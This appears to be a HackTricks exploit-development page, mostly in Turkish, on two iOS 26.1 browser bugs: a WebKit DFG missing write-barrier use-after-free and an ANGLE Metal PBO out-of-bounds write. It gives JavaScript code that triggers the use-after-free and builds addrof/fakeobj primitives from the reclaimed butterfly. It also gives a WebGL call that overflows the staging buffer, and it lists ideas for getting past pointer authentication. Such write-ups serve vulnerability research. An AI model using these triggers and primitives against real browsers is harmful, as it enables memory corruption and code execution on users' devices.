WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Özet

  • DFG Store Barrier bug (CVE-2025-43529): DFGStoreBarrierInsertionPhase.cpp içinde, Upsilon girdileri öyle değilken escaped olarak işaretlenmiş bir Phi node fazın sonraki object store’larda write barrier eklemeyi atlamasına neden oluyor. GC baskısı altında bu, JSC’nin hâlâ erişilebilir olan nesneleri serbest bırakmasına izin veriyor → use-after-free.
  • Exploit target: Bir Date nesnesinin butterfly’ını materialize etmeye (ör. a[0] = 1.1) zorlayıp butterfly’ın serbest bırakılmasını, ardından dizi elemanı depolaması olarak yeniden kullanılarak boxed/unboxed karışıklığı oluşturmak → addrof/fakeobj primitives.
  • ANGLE Metal PBO bug (CVE-2025-14174): Metal backend, PBO staging buffer’ı gerçek texture yüksekliği yerine UNPACK_IMAGE_HEIGHT kullanarak ayırıyor. Küçük bir unpack height sağlayıp ardından büyük bir texImage2D çalıştırmak staging-buffer OOB write’e neden oluyor (PoC’ta ~240KB).
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector ve JSArray butterfly PAC ile imzalanmıştır; saldırganın seçtiği pointer’larla sahte nesneler oluşturmak EXC_BAD_ACCESS/EXC_ARM_PAC ile çöker. Sadece önceden imzalanmış butterflies’ın yeniden kullanılması (boxed/unboxed yeniden yorumlama) işe yarıyor.

DFG eksik barrier’ının tetiklenmesi → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Key points:

  • Generational barriers’ı tetiklemek için A’yı old space’e yerleştirin.
  • İndekslenmiş bir Date oluşturun; böylece serbest bırakılan hedef butterfly olur.
  • ArrayBuffer(0x800000) ile spray yaparak GC’yi zorlayın ve yarışı genişletin.
  • Phi/Upsilon escape mismatch barrier insertion’ı durdurur; b.p1 = a without a write barrier olarak çalışır, bu yüzden GC a/butterfly’ı geri alır.

Butterfly geri alınması → boxed/unboxed karışıklığı

GC, Date butterfly’ı serbest bıraktıktan sonra, freed slab’in iki farklı element kinds’a sahip iki array için eleman olarak yeniden kullanılmasını sağlamak üzere array’leri spray yapın:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Durum — iOS 26.1 (arm64e):

  • Çalışıyor: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • Henüz stabil değil: generalized read64/write64 via inline-slot backings.

arm64e’de PAC kısıtlamaları (neden fake objects çöküyor)

  • TypedArray m_vector ve JSArray butterfly PAC-signed; forging pointers EXC_BAD_ACCESS / likely EXC_ARM_PAC ile sonuçlanıyor.
  • The confusion primitive, çünkü reuses legitimate signed butterflies; introducing unsigned attacker pointers authentication’ı başarısız kılıyor.
  • Potansiyel bypass fikirleri not edildi: JIT paths that skip auth, gadgets that sign attacker pointers, veya ANGLE OOB üzerinden pivotlamak.

ANGLE Metal PBO under-allocation → OOB write

Küçük bir unpack height kullanarak staging buffer’ı küçültün, sonra kopyanın taşması için büyük bir texture yükleyin:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Notlar:

  • Hata TextureMtl.cpp: staging buffer, PBO yolunda gerçek texture yüksekliği yerine UNPACK_IMAGE_HEIGHT kullanıyor.
  • Referans probunda WebGL2 PBO tetikleyicisi bağlandı ama iOS 26.1’de henüz güvenilir şekilde gözlemlenmedi.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin